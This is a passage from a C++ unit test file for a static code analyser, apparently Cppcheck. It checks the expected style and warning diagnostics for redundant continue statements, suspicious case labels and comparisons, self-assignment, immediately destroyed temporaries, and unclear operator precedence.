}\\n\"\n \" var = 42;\\n\"\n \" return ret();\\n\"\n \"}\\n\", /*cpp*/ false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #13516\n \" io_uring_for_each_cqe(&ring, head, cqe) {\\n\"\n \" if (cqe->res == -EOPNOTSUPP)\\n\"\n \" printf(\\\"error\\\");\\n\"\n \" goto ok;\\n\"\n \" }\\n\"\n \" usleep(10000);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantContinue() {\n check(\"void f() {\\n\" // #11195\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\"\n \" do {\\n\"\n \" ++i;\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" } while (i < 10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\" // #13544\n \" switch (x) {\\n\"\n \" case 1: {\\n\"\n \" return y != 0;\\n\"\n \" int z = y + 5;\\n\"\n \" return z != 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n }\n\n\n void suspiciousCase() {\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B:\\n\"\n \" foo();\\n\"\n \" case (A||B):\\n\"\n \" foo();\\n\"\n \" case A||B:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '&&' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:5:16]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:7:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case 1:\\n\"\n \" a=A&&B;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B?B:A:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\"), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousEqualityComparison() {\n check(\"void foo(int c) {\\n\"\n \" if (x) c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(const int* c) {\\n\"\n \" if (x) *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n\n check(\"void foo(int c) {\\n\"\n \" if (c == 1) {\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" c == 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i == 10; i ++) {\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 0; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 1; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 2; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i < 10; i == c) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (; running == 1;) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" printf(\\\"%i\\\", ({x==0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int arg) {\\n\"\n \" printf(\\\"%i\\\", ({int x = do_something(); x == 0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" printf(\\\"%i\\\", ({x == 0; x > 0 ? 10 : 20}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (const Token* end = tok->link(); tok != end; tok = (tok == end) ? end : tok->next()) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = (x == 0) ? 0 : 5; i < 10; i ++) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = 0; i < 10; i += (x == 5) ? 1 : 2) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousUnaryPlusMinus() { // #8004\n check(\"int g() { return 1; }\\n\"\n \"void f() {\\n\"\n \" +g();\\n\"\n \" -g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\"\n \" +i;\\n\"\n \" -i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n }\n\n void suspiciousFloatingPointCast() {\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + (float)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + static_cast(b) + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"long double f(long double a, long double b, float c) {\\n\"\n \" return a + (double)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"void g(int, double);\\n\"\n \"void h(double);\\n\"\n \"void f(double d) {\\n\"\n \" g(1, (float)d);\\n\"\n \" h((float)d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\"\n \"[test.cpp:5:7]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\",\n errout_str());\n }\n\n void selfAssignment() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"struct A { int b; };\\n\"\n \"void foo(A* a1, A* a2) {\\n\"\n \" a1->b = a1->b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'a1->b' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"int x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" x = x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4073 (segmentation fault)\n check(\"void Foo::myFunc( int a )\\n\"\n \"{\\n\"\n \" if (a == 42)\\n\"\n \" a = a;\\n\"\n \"}\");\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int *x = getx();\\n\"\n \" *x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" BAR *x = getx();\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #2502 - non-primitive type -> there might be some side effects\n check(\"void foo()\\n\"\n \"{\\n\"\n \" Fred fred; fred = fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x == 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x != 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3001 - false positive\n check(\"void foo(int x) {\\n\"\n \" x = x ? x : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3800 - false negative when variable is extern\n check(\"extern int i;\\n\"\n \"void f() {\\n\"\n \" i = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'i' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4291 - id for variables accessed through 'this'\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"void Foo::func() {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Redundant assignment of 'this->var' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func(int var);\\n\"\n \"};\\n\"\n \"void Foo::func(int var) {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6406 - designated initializer doing bogus self assignment\n check(\"struct callbacks {\\n\"\n \" void (*s)(void);\\n\"\n \"};\\n\"\n \"void something(void) {}\\n\"\n \"void f() {\\n\"\n \" struct callbacks ops = { .s = ops.s };\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Redundant assignment of 'something' to itself.\\n\", \"\", errout_str());\n\n check(\"class V\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" V()\\n\"\n \" {\\n\"\n \" x = y = z = 0.0;\\n\"\n \" }\\n\"\n \" V( double x, const double y_, const double &z_)\\n\"\n \" {\\n\"\n \" x = x; y = y; z = z;\\n\"\n \" }\\n\"\n \" double x, y, z;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:18]: (style) Redundant assignment of 'y' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:25]: (style) Redundant assignment of 'z' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void f(int i) { i = !!i; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int x = 1;\\n\"\n \" int &ref = x;\\n\"\n \" ref = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Redundant assignment of 'ref' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\" // #9850\n \" int i{};\\n\"\n \" void modify();\\n\"\n \" void method() {\\n\"\n \" Foo copy = *this;\\n\"\n \" modify();\\n\"\n \" *this = copy;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11383\n \" void f() {\\n\"\n \" int x = 42;\"\n \" auto l2 = [i = i, x, y = 0]() { return i + x + y; };\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10337\n \" int b[2] = { 1, 2 };\\n\"\n \" int idx = 0;\\n\"\n \" int& i = b[idx];\\n\"\n \" idx++;\\n\"\n \" i = b[idx];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\" // #12390\n \"void f() {\\n\"\n \" int o = s.i;\\n\"\n \" g(&s.i);\\n\"\n \" s.i = o;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac1132() {\n check(\"class Lock\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Lock(int i)\\n\"\n \" {\\n\"\n \" std::cout << \\\"Lock \\\" << i << std::endl;\\n\"\n \" }\\n\"\n \" ~Lock()\\n\"\n \" {\\n\"\n \" std::cout << \\\"~Lock\\\" << std::endl;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" Lock(123);\\n\"\n \" std::cout << \\\"hello\\\" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:15:5]: (style) Instance of 'Lock' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac3693() {\n check(\"struct A{\\n\"\n \" enum {\\n\"\n \" b = 300\\n\"\n \" };\\n\"\n \"};\\n\"\n \"const int DFLT_TIMEOUT = A::b % 1000000 ;\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction1() {\n check(\"int main ( )\\n\"\n \"{\\n\"\n \" CouldBeFunction ( 123 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction2() {\n check(\"struct error {\\n\"\n \" error() {}\\n\"\n \"};\\n\"\n \"\\n\"\n \"class parser {\\n\"\n \"public:\\n\"\n \" void error() const {}\\n\"\n \"\\n\"\n \" void foo() const {\\n\"\n \" error();\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectPicksClass() {\n check(\"class NotAFunction ;\\n\"\n \"int function ( )\\n\"\n \"{\\n\"\n \" NotAFunction ( 123 );\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAFunction' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectPicksStruct() {\n check(\"struct NotAClass;\\n\"\n \"bool func ( )\\n\"\n \"{\\n\"\n \" NotAClass ( 123 ) ;\\n\"\n \" return true ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAClass' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickIf() {\n check(\"bool func( int a , int b , int c )\\n\"\n \"{\\n\"\n \" if ( a > b ) return c == a ;\\n\"\n \" return b == a ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickConstructorDeclaration() {\n check(\"class Something : public SomethingElse\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"~Something ( ) ;\\n\"\n \"Something ( ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunctor() {\n check(\"class IncrementFunctor\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void operator()(int &i)\\n\"\n \" {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" IncrementFunctor()(a);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickLocalClassConstructors() {\n check(\"void f() {\\n\"\n \" class Foo {\\n\"\n \" Foo() { }\\n\"\n \" Foo(int a) { }\\n\"\n \" Foo(int a, int b) { }\\n\"\n \" };\\n\"\n \" Foo();\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickUsedObject() {\n check(\"struct Foo {\\n\"\n \" void bar() {\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fn() {\\n\"\n \" Foo().bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickPureC() {\n // Ticket #2352\n const char code[] = \"struct cb_watch_bool {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" cb_watch_bool();\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'cb_watch_bool' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(code, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2639\n check(\"struct stat { int a; int b; };\\n\"\n \"void stat(const char *fn, struct stat *);\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" stat(\\\"file.txt\\\", &st);\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"struct AMethodObject {\\n\" // #4336\n \" AMethodObject(double, double, double);\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" static void A(double, double, double);\\n\"\n \"};\\n\"\n \"void S::A(double const a1, double const a2, double const a3) {\\n\"\n \" AMethodObject(a1, a2, a3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\",errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickNestedClass() {\n const char code[] = \"class ios_base {\\n\"\n \"public:\\n\"\n \" class Init {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class foo {\\n\"\n \"public:\\n\"\n \" foo();\\n\"\n \" void Init(int);\\n\"\n \"};\\n\"\n \"foo::foo() {\\n\"\n \" Init(0);\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectInConstructor() {\n const char code[] = \"class Foo {\\n\"\n \"public:\\n\"\n \" Foo(char x) {\\n\"\n \" Foo(x, 0);\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \" Foo(char x, int y) { }\\n\"\n \"};\\n\";\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectStandardType() {\n check(\"int g();\\n\"\n \"void f(int i) {\\n\"\n \" int();\\n\"\n \" int(0);\\n\"\n \" int( g() );\\n\" // don't warn\n \" int{};\\n\"\n \" int{ 0 };\\n\"\n \" int{ i };\\n\"\n \" int{ g() };\\n\" // don't warn\n \" g();\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:7:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:8:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"void f(int j) {\\n\"\n \" for (; bool(j); ) {}\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g() {\\n\"\n \" float (f);\\n\"\n \" float (*p);\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" void();\\n\"\n \" return i;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectNamespace() {\n check(\"namespace M {\\n\" // #4779\n \" namespace N {\\n\"\n \" struct S {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" M::N::S();\\n\"\n \" return 0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:7:11]: (style) Instance of 'M::N::S' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10057\n \" std::string(\\\"abc\\\");\\n\"\n \" std::string{ \\\"abc\\\" };\\n\"\n \" std::pair(1, 2);\\n\"\n \" (void)0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:3:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:10]: (style) Instance of 'std::pair' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #10083\n \" void f() {\\n\"\n \" std::lock_guard(m);\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" std::mutex m;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Instance of 'std::lock_guard' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:9:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"namespace {\\n\"\n \" S s() { return ::S{42}; }\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectAssignment() { // #11371\n check(\"struct S;\\n\"\n \"S f();\\n\"\n \"S& g();\\n\"\n \"S&& h();\\n\"\n \"S* i();\\n\"\n \"void t0() { f() = {}; }\\n\"\n \"void t1() { g() = {}; }\\n\"\n \"void t2() { h() = {}; }\\n\"\n \"void t3() { *i() = {}; }\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:6:19]: (style) Instance of 'S' object is destroyed immediately, assignment has no effect. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac2084() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct sigaction sa;\\n\"\n \"\\n\"\n \" { sigaction(SIGHUP, &sa, 0); };\\n\"\n \" { sigaction(SIGINT, &sa, 0); };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac2071() {\n check(\"void f() {\\n\"\n \" struct AB {\\n\"\n \" AB(int a) { }\\n\"\n \" };\\n\"\n \"\\n\"\n \" const AB ab[3] = { AB(0), AB(1), AB(2) };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCalculation() {\n check(\"int f(char c) {\\n\"\n \" return 10 * (c == 0) ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", 10 * (c == 0) ? 1 : 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (2*a)?b:c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", a + b ? 1 : 2);\\n\"\n \"}\",true,false,false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Clarify calculation precedence for '+' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << x << y ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (style) Clarify calculation precedence for '<<' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a - b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '-' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int ab = a | b ? 2 : 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Clarify calculation precedence for '|' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n // ticket #195\n check(\"int f(int x, int y) {\\n\"\n \" return x >> ! y ? 8 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Clarify calculation precedence for '>>' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"int f() {\\n\"\n \" return shift < sizeof(int64_t)*8 ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { a = *p ? 1 : 2; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { const char *p = x & 1 ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { x = a % b ? \\\"1\\\" : \\\"0\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 1 ? '1' : '0'; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x & 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { return x % 16 ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum {X,Y}; void f(int x) { return x & Y ? 1 : 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyStatement() {\n check(\"char* f(char* c) {\\n\"\n \" *c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:7]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char** c) {\\n\"\n \" *c[5]--;\\n\"\n \" return *c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:10]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"void 